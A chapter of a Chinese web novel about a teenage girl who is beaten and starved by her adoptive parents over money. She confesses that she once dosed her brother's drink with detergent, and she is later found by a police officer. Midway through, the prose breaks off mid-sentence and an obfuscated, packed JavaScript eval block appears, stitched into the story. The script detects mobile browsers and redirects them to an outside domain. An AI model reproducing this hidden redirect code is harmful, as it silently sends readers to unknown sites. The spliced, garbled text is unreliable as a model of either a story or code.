不知道过了多久。
时间开始没有刻度。
姜畔是被剧痛抽醒的，耳朵里嗡嗡作响。
她想动，身体却像散了架。
嘴里有股浓重的铁锈味，咸腥。
眼前是模糊晃动的人影。
“钱呢？！死丫头片子！你把老子的钱弄哪去了？！说！”
她张了张嘴，发不出一点声音。
“哑巴了？装死？！”
“小畜生！那钱是不是你换的？啊？！你偷了钱给谁了？！说！不说今天打死你！”
又是一脚，狠狠踹在她蜷缩的腰腹上。
闷痛瞬间炸开，她倏地弓起身子，呛咳起来，眼前阵阵发黑。
她不知道这是第几次被弄醒，也不知道自己是怎么熬过前面几天的。
意识像断线的风筝，时有时无。
每次睁开眼，迎接她的只有拳脚咒骂和刺眼的灯光。
那灯似乎永远亮着，照着她。
不给饭吃，不给水喝。
渴极了，她就趁着夜深人静，或者那两人骂累了的间隙，一点点爬到卫生间门口。
门是反锁的，但门缝下面有窄窄的空隙。
她侧着脸，把嘴凑上去，伸出舌头，舔舐瓷砖地上的湿痕。
周建国要钱还高利贷。李雅慧恨她入骨。
逼问，无休止的逼问。
“说！钱藏哪儿了！”
“你花哪去了？！”
“老子弄死你信不信！”
她一个字也不说。
嘴唇咬破了，就是不开口。
姥姥……姥姥应该做完手术了吧？
她迷迷糊糊地想。
交了钱，医生答应插队的。
姥姥能挺过去的。
想到这个，心底深处那一点点微弱的东西，就开始燃烧起来。
不说。
打死也不说。
这个念头成了她唯一能抓住的东西。
换来的是更凶猛的殴打。
巴掌，拳头，穿着硬鞋底的脚踢。
有时是周建国，有时是李雅慧，有时两人一起。
她像破旧的麻袋，被拖来搡去。
疼痛从尖锐变得麻木，最后只剩下无处不在的嗡嗡声，在身体里震荡。
有一次，周建国抓着她的头发把她提起来，又狠狠掼在地上。
头撞在单人床的铁脚上，“咚”的一声闷响。
世界彻底安静了几秒，然后是尖锐的耳鸣。
她躺在地上，脸贴着冰凉的地面，没有立刻感觉到疼。
反而有一种奇怪的轻松。
好像飘起来了。
周围的声音变得很远，很模糊。
周建国的咆哮，李雅慧的哭骂，都模糊了。
“……本来就是我的钱……”
她不知道自己有没有发出声音，或者只是在心里说。
那些钱，王锦、苏晨、刘小慧给的，本来就是赔给她的。
她只是拿走了属于自己的东。
“……是你们……偷我的……”
模糊的话音还没落，更重的拳头和脚就砸了下来。
“反了你了！还敢顶嘴！小贱种！偷？那钱就该是我们的！养你这么大白养了？！”
“打死她！打死这个吃里扒外的白眼狼！”
疼。
但好像没那么难以忍受了。
她感觉不到冷了，也感觉不到饿。
身体像不是自己的，轻飘飘的。
她甚至有点想笑。
笑什么呢？
不知道。
就是觉得眼前这一切，很没意思。
又过了一天，或者两天。
阳台的窗户被旧报纸糊死了，只留下一条小缝透气。
她只能靠外面光线透过报纸的明暗变化，大概知道是白天还是黑夜。
白天，光线是灰蒙蒙的。
夜里，是更深的灰。
那天，门被很响地推开。
周建国和李雅慧的声音带着更加暴怒的气息。
“好啊！好啊！姜畔！你他妈真是能耐了！”周建国冲进来，一把将她从地上拖起来，“在学校！早就有人看见你拿了一大笔钱！是不是？！是不是那次！你他妈早就藏了钱！你找死！”
李雅慧走到她面前：“小畜生！心机这么深！打！给我往死里打！把她藏的钱都打出来！”
姜畔的意识像风中的烛火。
她忽然低低地笑了起来，断断续续。
周建国和李雅慧为之一顿。
“对……”她咳着，“钱……是我拿的……”
“早就知道是你！说！藏哪儿了！”
姜畔忽然问：“……知道我是什么时候偷的吗？”
“少他妈废话！快说！”
“就是……周宝生病那次……”她喘了口气，“他急性肠胃炎住院那天晚上。”
李雅慧愣了一下。
姜畔的声音更轻了，“不是意外……我……”
“我把洗衣液……兑在他饮料里。看着他喝下去的。”
阳台里瞬间死寂。
“所以……你们忙着送他去医院，急得团团转的时候……”姜畔轻轻笑着，“……我才有时间找到钱拿走……”
李雅慧尖叫，“我杀了你！我杀了你！那是你弟弟！”
拳头和巴掌落下来，比以往任何一次都重，都密集。
她像个没有生命的物件，被推搡着，撞击着墙壁铁架。
她感觉不到太多具体的疼痛了。
最后一下，不知道是拳头还是脚，重重地砸在她的后脑勺上。
像被按下了开关。
世界一暗，然后彻底熄灭。
所有的声音，愤怒的、痛苦的、冷冷的，都消失了。
连最后一点支撑她的东西，也沉入了无边的黑暗里。
她软软地瘫倒在地板上，一动不动。
好安静。
终于……安静了。
阳台里只剩下周建国和李雅慧。
他们看着地上无声无息的人，动作顿住了。
一丝难以察觉的恐慌掠过李雅慧眼底。
周建国喘着粗气，踢了她一脚，软绵绵的，毫无反应。
“妈的……装死……”他骂了一句，声音却低了下去，流露出不确定。
李雅慧没说话，盯着地上那团影子。
姜畔什么都不知道了。
她像一片羽毛，飘在无边无际的、灰白色的虚空里。
没有冷，没有热，没有疼，也没有怕。
什么都不想。也什么都想不起来。
姥姥。
李砚安。
林子琪。
那些名字和面孔，都像水底的倒影，轻轻一晃，就碎了。
她涣散的目光无法聚焦，也懒得去想。
那感觉也很遥远。
只有阳台窗户那条小缝里，透进了一缕极细的光线，就在她模糊的视线边缘，形成一小片朦胧的光斑。
她就那么看着那片小小的光斑。
一动不动。
什么念头也没有了。
不知道过了多久。
也许是几分钟，也许是几小时。
沉沉的黑暗里，似乎有光在流动。
不再是冷冷的灰白，而是带着暖意的橘黄。
她好像做了个很长很长的梦。
梦里画面混乱闪回。
五岁，姥姥粗糙温暖的手，拉着她走在积雪的小路上，去买红纸剪窗花。
八岁，福利院冷冷的铁床，大冬天被人故意泼湿的薄被冻得她瑟瑟发抖。
十一岁，李雅慧和周建国领养她。
十三岁，周宝出生了，家里唯一那点微弱的光也彻底熄灭。
饿得前胸贴后背的滋味。
认识了叫刘子浩的小混混。
一个人缩在阳台，听着外面一家三口的笑声，把脸埋进枕头里。
然后，画面渐渐褪色，变得灰暗冰冷。
就在这灰暗快要吞噬一切的时候，一个身影浮现出来。
一道褶子都没有警服。
是李砚安。
他微微皱着眉，垂眼看着她：“你干的？”
然后，一块巧克力出现在眼前。
热气腾腾的牛肉面。
温暖得让人想掉眼泪的浴池。
明亮的灯光下，阿姨把新衣服递给她……
这些画面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16528512|186213||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
越来越清晰，越来越温暖。
梦里李砚安的影子朝她伸出手。
她心里涌起一股渴望，几乎要抬起自己的手，去抓住。
走吧。跟他走。
这个念头无比清晰。
就在她指尖几乎要触碰到那幻影的刹那，李砚安的脸突然变得异常清晰。
不是梦里的温和，他焦灼地盯着她，声音穿透了梦境：
“在我回来之前，你一个人照顾好自己。”
“我保证。”
梦里她听见自己这样回答。
轰——
像被人突然打了一闷棍。
姜畔浑身一颤，忽然之间睁开了眼睛。
剧烈的头痛让她眼前发黑，金星乱冒。
她不是在温暖的光里。
她在一个狭小的地方。
是洗手间。
意识艰难地回笼。
她发现自己被捆着。
嘴巴被一层厚厚的宽胶带封住。
姜畔挣扎的动了一下，缓慢到几乎不能被称之为移动。
门外，客厅的方向，传来清晰的人声。
其中一个声音，低沉，模糊的传进耳朵：
“……姜畔呢？她在哪儿？”
是李砚安……
是李砚安？
是李砚安！
姜畔的心几乎要停止跳动。
是他。
他回来了！
紧接着，是李雅慧明显慌乱的声音，“……姜畔？那孩子……我们也不知道啊！都多久没见着了！她……她不是早就跑了吗？我们找都找不到！这死孩子，真是操碎了心啊……”
周建国粗哑的声音，“就是！警察同志，你是不知道！这孩子野得很！早就不着家了！我们上哪找去？谁知道她跑哪鬼混去了！不信你问邻居！都好些天没影了！”
姜畔的呼吸急促起来，被封住的嘴发出沉闷的呜咽。
骗子，他们在撒谎！
然后，一个熟悉的中年女声插了进来。
“不对啊警察同志！我前些天……对，就是上周！我还看见小予在楼下被他揪着！那脸……哎呀，肿得老高！还有一群混混，后来……后来就再没见着了。她家天天吵得厉害，砸东西，还骂人……我听着不对，心里实在怕出事，才……才给你们打的电话啊！”
刘婶。
是刘婶报的警！
姜畔的眼泪瞬间涌了出来。
她用尽全身力气想挣扎，想发出更大的声音，但被捆得结结实实，虚脱得连力气都没有。
不行，不能放弃！
他就在门外。
她的目光在狭小昏暗的洗手间里疯狂地搜寻。
水龙头……就在她头顶斜上方不远处的洗手池下面。
那是唯一的希望！
她用尽残存的所有力气，拼命扭动身体。
近了……更近了……
她的额头终于蹭到池壁，倏地仰起脖子，将头狠狠地朝着那个水龙头把手撞过去！
咚！
一声闷响撞在她自己的颅骨上，震得她眼前发黑。
那水龙头纹丝不动。
不行，不行！
她咬紧牙关，集中起身体最后一点力量，再次奋力仰头——
这一次，她用上了身体全部冲力，再次狠狠撞过去。
咔哒！
一声金属转动的轻响。
紧接着哗啦——
自来水从龙头里喷涌而出，发出嘈杂的声音。
水花迅速四溅，泼溅到姜畔的脸上，激得她一个哆嗦。
这突如其来的水声，让外面的整个世界静了下。
死寂。
只持续了不到半秒。
“什么声音？！”李砚安的声音传来。
“没……没什么！水龙头坏了！一直漏水！我这就去关……”
“让开！”
一声低沉的厉喝，接着脚步声逼近洗手间门口。
姜畔的意识在水花的刺激下，只维持了短短一瞬。
门板在视线里剧烈地晃动变形。
是谁都好，只要能打开这扇门就好，快来救救自己。
这个念头刚刚升起，眼前最后一点光彻底熄灭。